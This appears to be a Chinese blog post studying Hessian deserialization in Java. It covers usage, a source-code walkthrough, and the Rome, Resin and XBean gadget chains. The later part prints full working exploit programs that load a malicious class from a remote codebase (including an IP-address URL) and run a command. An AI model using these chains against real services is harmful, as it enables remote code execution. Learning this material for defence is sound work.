来学一下Hessian反序列化,主要参考su18师傅的文章:

Hessian简介

直接抄su18师傅里面的

Hessian 是 caucho 公司的工程项目,为了达到或超过 ORMI/Java JNI 等其他跨语言/平台调用的能力设计而出,在 2004 点发布 1.0 规范,一般称之为 Hessian ,并逐步迭代,在 Hassian jar 3.2.0 之后,采用了新的 2.0 版本的协议,一般称之为 Hessian 2.0。

这是一种动态类型的二进制序列化Web 服务协议,专为面向对象的传输而设计。Hessian 协议在设计时,重点的几个目标包括了:必须尽可能的快、必须尽可能紧凑、跨语言、不需要外部模式或接口定义等等。

对于这样的设计,caucho 公司其实提供了两种解决方案,一个是 Hessian,一个是 Burlap。Hession 是基于二进制的实现,传输数据更小更快,而 Burlap 的消息是 XML 的,有更好的可读性。两种数据都是基于 HTTP 协议传输。

Hessian 本身作为 Resin 的一部分,但是它的 com.caucho.hessian.clientcom.caucho.hessian.server 包不依赖于任何其他的 Resin 类,因此它也可以使用任何容器如 Tomcat 中,也可以使用在 EJB 中。事实上很多通讯框架都使用或支持了这个规范来序列化及反序列化类。

作为一个二进制的序列化协议,Hessian 自行定义了一套自己的储存和还原数据的机制。对 8 种基础数据类型、3 种递归类型、ref 引用以及 Hessian 2.0 中的内部引用映射进行了相关定义。这样的设计使得 Hassian 可以进行跨语言跨平台的调用。

有关Hessian协议和其他协议的对比以及反序列化原理可以看这篇文章:https://blog.csdn.net/ByteDanceTech/article/details/126188189

简单使用

su18师傅的文章里面提供了多种使用方式,这里来复刻一下

基于Servlet

定义一个方法接口

package org.clown.hessianservlet;

import java.util.HashMap;

public interface Greeting {
String sayHello(HashMap o);
}

服务端创建该方法的具体实现,并继承com.caucho.hessian.server.HessianServlet来将其标记为一个提供服务的Servlet

package org.clown.hessianservlet;

import com.caucho.hessian.server.HessianServlet;

import java.util.HashMap;
import javax.servlet.annotation.*;

@WebServlet(name = "hessian", value = "/hessian")
public class HelloServlet extends HessianServlet implements Greeting {
private String message;

@Override
public String sayHello(HashMap o) {
return "Hello "+o.toString();
}
}

然后需要配置Servlet映射,我这里直接用了注解,也可以用web.xml来配置

Client 端通过 com.caucho.hessian.client.HessianProxyFactory 工厂类创建对接口的代理对象,并进行调用,可以看到调用后执行了服务端的逻辑并返回了结果。

这一部分和RMI的远程调用类似,都是通过代理创建对象来执行方法的,等会分析源码的时候也会看到

package org.clown.hessianservlet;

import com.caucho.hessian.client.HessianProxyFactory;

import java.net.MalformedURLException;
import java.util.HashMap;

public class Client {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException {
String url = "http://localhost:8080/HessianServlet_war_exploded/hessian";
HessianProxyFactory factory = new HessianProxyFactory();
Greeting greeting = (Greeting) factory.create(Greeting.class, url);
HashMap<Object, Object> object = new HashMap<>();
object.put("a","a");
System.out.println("Hessian Call: "+greeting.sayHello(object));
}
}

image-20241009105834433

这里Hessian并不需要像RMI那样接口的包名需要相同。

基于Spring

Spring-web 包内提供了 org.springframework.remoting.caucho.HessianServiceExporter 用来暴露远程调用的接口和实现类。使用该类 export 的 Hessian Service 可以被任何 Hessian Client 访问,因为 Spring 中间没有进行任何特殊处理。

从 spring-web-5.3 后,该类被标记为 @Deprecated , 也就是说 spring 在逐渐淘汰对基于序列化的远程调用的相关支持。

我这里一开始springboot3里面的spring-web是6.1.13的版本,是直接连HessianServiceExporter这个类也找不到了

这里就不尝试了,copy一下官方文档的代码示例:https://www.baeldung.com/spring-remoting-hessian-burlap

@Bean(name = "/booking") 
RemoteExporter bookingService() {
HessianServiceExporter exporter = new HessianServiceExporter();
exporter.setService(new CabBookingServiceImpl());
exporter.setServiceInterface( CabBookingService.class );
return exporter;
}

这是暴露服务的代码,客户端同样用前面的即可,只需要改一下url

他还有使用Burlap协议的写法

暴露服务:

@Bean(name = "/booking") 
RemoteExporter burlapService() {
BurlapServiceExporter exporter = new BurlapServiceExporter();
exporter.setService(new CabBookingServiceImpl());
exporter.setServiceInterface( CabBookingService.class );
return exporter;
}

客户端:

@Bean
public BurlapProxyFactoryBean burlapInvoker() {
BurlapProxyFactoryBean invoker = new BurlapProxyFactoryBean();
invoker.setServiceUrl("http://localhost:8080/booking");
invoker.setServiceInterface(CabBookingService.class);
return invoker;
}

写法基本和使用hessian一致

自封装调用

就是通过对 HessianInput/HessianOutputHessian2Input/Hessian2OutputBurlapInput/BurlapOutput 的相关方法的封装,可以自行实现传输、存储等逻辑,使用 Hessian 进行序列化和反序列化数据。

这里的Input和Output方法就是直接进行序列化和反序列化的方法,前面的调用也都是对这些方法进行了封装,Output就是序列化出去,Input就是反序列化

Input方法都继承自AbstractHessianInput这个抽象类

image-20241009160850197

Output方法则继承AbstractHessianOutput抽象类

image-20241009160949153

这里封装成一个工具类

package org.clown.hessianservlet;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;

public class HessianUtil {

/**
* Hessian序列化
* @param obj
* @return
* @throws Exception
*/
public static byte[] serialize(Object obj) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] result=null;
Hessian2Output oo=new Hessian2Output(bos);//封装字节流
oo.writeObject(obj);//写入序列化对象字节流
oo.flush();
result=bos.toByteArray();
return result;
}

/**
* Hessian反序列化
* @param bytes
* @return
* @throws Exception
*/
public static Object deserialize(byte[] bytes) throws Exception{
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
Hessian2Input oi=new Hessian2Input(bis);
return oi.readObject();
}

}

JNDI调用

Hessian 还可以通过将 HessianProxyFactory 配置为 JNDI Resource 的方式来调用。看文章是用了resin来配置的,我没查到web.xml的配置,截个文章的图知道一下算了

image-20241009164415140

源码分析

接口调用

那前面的基于Servlet的代码先来分析,HessianServlet是HttpServlet的子类,那么HessianServlet 的init 方法将会承担一些初始化的功能,而 service 方法将会是相关处理的起始位置。

该类的成员变量

image-20241009165055536

_homeAPI(调用类的接口 Class)、_homeImpl(具体实现类的对象)、_serializerFactory(序列化工厂类)、_homeSkeleton(封装方法)

看一下init方法

image-20241009165531713

就是对各变量进行判断是否为空来进行初始化,它里面调用了loadClass方法来加载类,不过他这里自己重写了一个loadClass

image-20241009171609208

image-20241009171618113

这里优先从线程获取类加载器,应该是为了更快加载到对应的类,避免走双亲委派的流程,线程的默认的类加载器是AppClassLoader

然后看他的service方法

image-20241009172300818

可以看到只支持POST请求,获取id或者ejbid作为objectId,然后设置一个响应头,再去调用invoke方法

image-20241009172457963

然后就根据objectId是否为空来选择调用的方法

先看一下第一个方法com.caucho.hessian.server.HessianSkeleton#invoke

该类的父类是AbstractSkeleton,该类对Hessian提供的服务进行封装

image-20241009192918042

其将方法、方法名等保存在_methodMap里面

image-20241009193223729

然后HessianSkeleton初始化就将自己的实现类保存在_service变量里面

该类里面还有两个成员变量要看一下

image-20241009193725504

两个工厂类,HessianInputFactory就是用来读取和创建HessianInput/Hessian2Input 流,HessianFactory用来

创建HessianInput/Hessian2Input/HessianOutput/Hessian2Output流

对类基本了解后回过头继续看invoke方法

image-20241009194929048

一开始调用_inputFactory读取header,然后根据header来创建对应的Input和Output流,最后再invoke调用一次服务

这里代码比较长就直接截文章里的图了,这个图写了注释

image-20241009203055295

还有spring的逻辑也差不多看看文章的就好了

序列化和反序列化细节

序列化和反序列化的读取、写入就是由我们前面提到过的AbstractHessianInput/AbstractHessianOutput这两个抽象类提供,然后Hessian/Hessian2/Burlap都提供了方法的具体实现

以Hessian2Output为例子看看序列化的写入

image-20241009203934647

这里根据具体的类来获取序列化器然后写入序列化数据,可以看一下Serializer的实现类有多少

image-20241009204454835

对于自定义类型,将会使用 JavaSerializer/UnsafeSerializer/JavaUnsharedSerializer 进行相关的序列化动作,默认情况下是 UnsafeSerializer

看一下UnsafeSerializer#writeObject方法

image-20241009223331142

这里会调用一个writeObjectBegin方法,该方法是AbstractHessianOutput的

image-20241009223618572

里面再调用了一个writeMapBegin方法,Hessian2Output 重写了writeObjectBegin这个方法,而其他实现类没有。也就是说在 Hessian 1.0 和 Burlap 中,写入自定义数据类型(Object)时,都会调用 writeMapBegin 方法将其标记为 Map 类型。

在 Hessian 2.0 中,将会调用 writeDefinition20Hessian2Output#writeObjectBegin 方法写入自定义数据,就不再将其标记为 Map 类型。

再看反序列化,以Hessian2Input为例

image-20241009224448389

基本就是一大串的switch case语句,根据标识位进行不同的逻辑处理

image-20241009230909226

他在反序列化时也会根据类型获取对应的反序列化器

image-20241009231208927

然后读取自定义类型数据用的是UnsafeDeserializer类,看一下他的readObject方法

image-20241009231538854

image-20241009232015561

创建Unsafe类实例,然后反序列化读取Field并反射写入

image-20241009232019114

Hessian 1.0 的 HessianInput 中,没有针对 Object 的读取,而是都将其作为 Map 读取,因为在序列化的过程中我们也提到,在写入自定义类型时会将其标记为 Map 类型。

MapDeserializer#readMap 方法提供了针对 Map 类型数据的处理逻辑

image-20241009232731601

远程调用

还是根据前面的客户端代码来调试,根据create方法一路往下

image-20241009235359859

在这里创建了动态代理,我们知道动态代理调用方法时会走InvocationHandler#invoke方法,我们去看一下

image-20241010000103202

这里是处理相关方法调用,再往后就是发送请求结果并反序列化,截一下文章的图

image-20241010000832095

其他实现细节

协议版本

使用那种协议进行序列化和反序列化取决于请求标志位

这一设定位于 HessianProxyFactory 中的两个布尔型变量中,即 _isHessian2Reply_isHessian2Request

image-20241010001231800

想更改协议自己set方法设置即可

Serializable

我们知道在Java 原生反序列化中,实现了 java.io.Serializable 接口的类才可以反序列化

Hessian在获取默认序列化器的时候会检查是否实现了Serializable接口

image-20241010002017043

但是注意这里有一个_isAllowNonSerializable变量,它可以打破这种规范,我们只要用set方法将他设置为true,这样没有实现Serializable接口的类也能序列化

然后是 transient 和 static 的问题,在序列化时,由 UnsafeSerializer#introspect 方法来获取对象中的字段,在老版本中应该是 getFieldMap 方法。依旧是判断了成员变量标识符,如果是 transient 和 static 字段则不会参与序列化反序列化流程。

image-20241010002444663

这个地方对标识符进行了判断,如果为 transient 和 static 字段则不会参与序列化反序列化流程

漏洞利用

前面的分析可以知道Hessian大部分是利用反射写入值,且过程并没有调用类的readObject方法,也没有触发getter/setter方法,那么漏洞点在哪呢

漏洞点就在我们前面说过的对Map类型数据的处理上,MapDeserializer#readMap 对 Map 类型数据进行反序列化操作是会创建相应的 Map 对象,并将 Key 和 Value 分别反序列化后使用 put 方法写入数据。在没有指定 Map 的具体实现类时,将会默认使用 HashMap ,对于 SortedMap,将会使用 TreeMap。

image-20241010003247887

那利用的方式其实就比较好联想了对于这两个类

HashMap在put的时候会调用hash方法,从而调用key.hashCode。

image-20241010003515291

TreeMap 在 put 时,由于要进行排序,所以要对 key 进行比较操作,将会调用 compare 方法,会调用 key 的 compareTo 方法。

image-20241010003554961

这么一看Hessian反序列化利用被限制得比较窄

  • kick-off chain 起始方法只能为 hashCode/equals/compareTo 方法;
  • 利用链中调用的成员变量不能为 transient 修饰;
  • 所有的调用不依赖类中 readObject 的逻辑,也不依赖 getter/setter 的逻辑。

利用链

marshalsec项目里有关于该反序列化的实现,有下面五条链

  • Rome
  • XBean
  • Resin
  • SpringPartiallyComparableAdvisorHolder
  • SpringAbstractBeanFactoryPointcutAdvisor

Rome链

Rome链的核心是他的ToStringBean的toString方法,他可以调用传入类的所有无参getter方法,这里就可以打JdbcRowSetImpl的链子触发jndi

然后ToStringBean外面包一层EqualsBean和HashMap即可

触发链子如下:

HashMap#hashCode
EqualsBean#hashCode
EqualsBean#beanHashCode
ToStringBean#toString
JdbcRowSetImpl#getDatabaseMetaData

image-20241010110223027

image-20241010110235946

二次反序列化

上面的JNDI利用需要出网,所以可以借助SignedObject#getObject来打二次反序列化

链子改成这样就行了

HashMap#hashCode
EqualsBean#hashCode
EqualsBean#beanHashCode
ToStringBean#toString
SignedObject#getObject

然后封装一个想要的链子进去就行了

Resin

该链子最终效果打的是远程类加载

参考文章:https://blog.csdn.net/uuzeray/article/details/136727060

Resin是一个轻量级的、高性能的开源Java应用服务器。它是由Caucho Technology开发的,旨在提供可靠的Web应用程序和服务的运行环境,和Tomcat一样是个服务器;他常和Hessian产生联系

测试时可以导入下面的包

<dependencies>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>resin</artifactId>
<version>4.0.64</version>
</dependency>
</dependencies>

Resin 这条利用链的入口点实际上是 HashMap 对比两个对象时触发的 com.sun.org.apache.xpath.internal.objects.XStringequals 方法。

XString的利用在ROME的HotSwappableTargetSource利用链有用到过

image-20241010200147467

在这里我们利用的是com.caucho.naming.QName的toString方法

image-20241010200338680

这里的逻辑比较简单,但是QName是什么,我们得先了解一下,才能知道他这样为什么可以触发

看一下他的描述

image-20241010203001097

这里描述意思是代表一个已解析的JNDI名称

看一下他的构造方法

image-20241010203211713

QName对象的功能是用于表示一个JNDI限定名(qualified name),通过传入的Context对象以及两个字符串参数(first和rest),QName对象可以将这些信息组合起来形成一个完整的限定名。

Context接口的描述

This interface represents a naming context, which consists of a set of name-to-object bindings. It contains methods for examining and updating these bindings.

此接口表示一个命名上下文,它由一组名称到对象的绑定组成。它包含检查和更新这些绑定的方法。也就是jndi的相关操作

然后我们要用到的Context的实现类是ContinuationContext

构造方法

image-20241010203937489

CannotProceedException是javax.naming异常体系中的一种异常,通常在本地加载类失败时使用。它的作用是对无法继续进行操作的异常情况进行处理。

处理的关键在Reference类,文章给了一个对CannotProceedException类的构造

String refAddr = "http://124.222.136.33:1337/";
String refClassName = "calc";

Reference ref = new Reference(refClassName, refClassName, refAddr);

Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").getDeclaredConstructor().newInstance();
String classname = "javax.naming.NamingException";
setFiled(classname, cannotProceedException, "resolvedObj", ref);

Reference构造方法

image-20241010210638627

现在回到前面QName的toString方法,我们会调用ContinuationContext#composeName方法

image-20241010211324591

然后调用到getTargetContext方法,这里的ctx.composeName方法可以忽略,不在利用链中

image-20241010211417350

然后我们需要进入到NamingManager.getContext方法里面,不过还需要满足前面的两个条件

contCtx == null,在构造中本身就不设置,所以不需要考虑
cpe.getResolvedObj()返回不为null(其实返回的就是我们上面给CannotProceedException构造的恶意Reference),所以也不会为null

这里传的是cpe.getResolvedObj,也就是我们构造的Reference类

继续跟进

image-20241010212200426

然后漏洞的触发点就在NamingManager#getObjectInstance这个方法里面,从名字看就是要对我们传入的Reference类进行实例化

有关该方法的描述

Creates an instance of an object for the specified object and environment.
If an object factory builder has been installed, it is used to create a factory for creating the object. Otherwise, the following rules are used to create the object:
If refInfo is a Reference or Referenceable containing a factory class name, use the named factory to create the object. Return refInfo if the factory cannot be created
翻译一下:
为指定的对象和环境创建对象的实例。
如果已安装对象工厂生成器,则使用它来创建用于创建对象的工厂。否则,将使用以下规则创建对象:
如果refInfo是包含工厂类名的Reference或Referenceable,请使用命名的工厂创建对象。如果无法创建工厂,则返回refInfo。

image-20241010214214868

然后关键类方法是getObjectFactoryFromReference

image-20241010215719459

这首先会从本地加载类,肯定加载不到,然后就从codebase加载,也就是我们的远程地址那里,最后及进行类的实例化,然后触发漏洞

然后就是hashMap要触发equals还要构造哈希相等,有点懒得再分析了,直接copy文章的exp小改一下

package org.clown;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class Demo1 {
public static void main(String[] args) throws Exception {
String refAddr = "http://127.0.0.1:8888/";
String refClassName = "TestRef";

Reference ref = new Reference(refClassName, refClassName, refAddr);

Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").getDeclaredConstructor().newInstance();
String classname = "javax.naming.NamingException";
setFiled(classname, cannotProceedException, "resolvedObj", ref);

// 创建ContinuationContext对象
Class<?> aClass = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> constructor = aClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
// 构造方法为protected修饰
constructor.setAccessible(true);
Context continuationContext = (Context) constructor.newInstance(cannotProceedException, new Hashtable<>());


// 创建QName
QName qName = new QName(continuationContext, "foo", "bar");
String str = unhash(qName.hashCode());
// 创建Xtring
XString xString = new XString(str);

// 创建HashMap
HashMap hashMap = new HashMap();
hashMap.put(qName, "111");
hashMap.put(xString, "222");

// 序列化
FileOutputStream fileOutputStream = new FileOutputStream("ResinHessian.bin");
Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(hashMap);
hessian2Output.close();

// 反序列化
FileInputStream fileInputStream = new FileInputStream("ResinHessian.bin");
Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
HashMap o = (HashMap) hessian2Input.readObject();

}

public static void setFiled(String classname, Object o, String fieldname, Object value) throws Exception {
Class<?> aClass = Class.forName(classname);
Field field = aClass.getDeclaredField(fieldname);
field.setAccessible(true);
field.set(o, value);
}

public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}

unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;

if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
}

恶意类TestRef

import java.io.IOException;

public class TestRef {
public TestRef() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

image-20241010220704531

XBean

这条链和Resin差不多

导入下面依赖

<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.24</version>
</dependency>

链子

HashMap#equals-->XString#equals-->ContextUtil.ReadOnlyBinding#toString-->Binding#toString-->ContextUtil.ReadOnlyBinding#getObject-->ContextUtil#resolve-->NamingManager#getObjectInstance

看一下关键的地方

ContextUtil.ReadOnlyBinding#toString本身没有toString所以就走到父类Binding#toString

image-20241010222327507

ContextUtil.ReadOnlyBinding#getObject

image-20241010222415889

ContextUtil#resolve

image-20241010222504369

然后后面的就和前面一样了

exp

package org.clown;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.apache.xbean.naming.context.ContextUtil;
import org.apache.xbean.naming.context.WritableContext;

import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class XBeanUse {
public static void main(String[] args) throws Exception {
String refAddr = "http://127.0.0.1:8888/";
String refClassName = "TestRef";

Reference ref = new Reference(refClassName, refClassName, refAddr);

Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").getDeclaredConstructor().newInstance();
String classname = "javax.naming.NamingException";
setFiled(classname, cannotProceedException, "resolvedObj", ref);

//创建ContextUtil.ReadOnlyBinding对象
ContextUtil.ReadOnlyBinding readOnlyBinding = new ContextUtil.ReadOnlyBinding("clown",ref,new WritableContext());//放入ref
String str = unhash(readOnlyBinding.hashCode());
// 创建Xtring
XString xString = new XString(str);

// 创建HashMap
HashMap hashMap = new HashMap();
hashMap.put(readOnlyBinding, "111");
hashMap.put(xString, "222");

// 序列化
FileOutputStream fileOutputStream = new FileOutputStream("XBeanHessian.bin");
Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(hashMap);
hessian2Output.close();

// 反序列化
FileInputStream fileInputStream = new FileInputStream("XBeanHessian.bin");
Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
HashMap o = (HashMap) hessian2Input.readObject();

}

public static void setFiled(String classname, Object o, String fieldname, Object value) throws Exception {
Class<?> aClass = Class.forName(classname);
Field field = aClass.getDeclaredField(fieldname);
field.setAccessible(true);
field.set(o, value);
}

public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}

unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;

if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
}

image-20241010224522400

选择Context的实现类的时候有些可能报错在执行他的getEnvironment方法的时候,需要设置一些变量之类的,这里的WritableContext类就可以直接创建就能用

其他链

还有一些其他的链子比如Spring AOP之类的就不分析了,懒了主要是(

看一下师傅的文章就好,到时遇到再研究。

这篇文章有相关exp:https://xz.aliyun.com/t/13599?u_atoken=dee6998cc1d8cc5521fac10e0bd2ff43&u_asig=1a0c384b17285714178144818e003d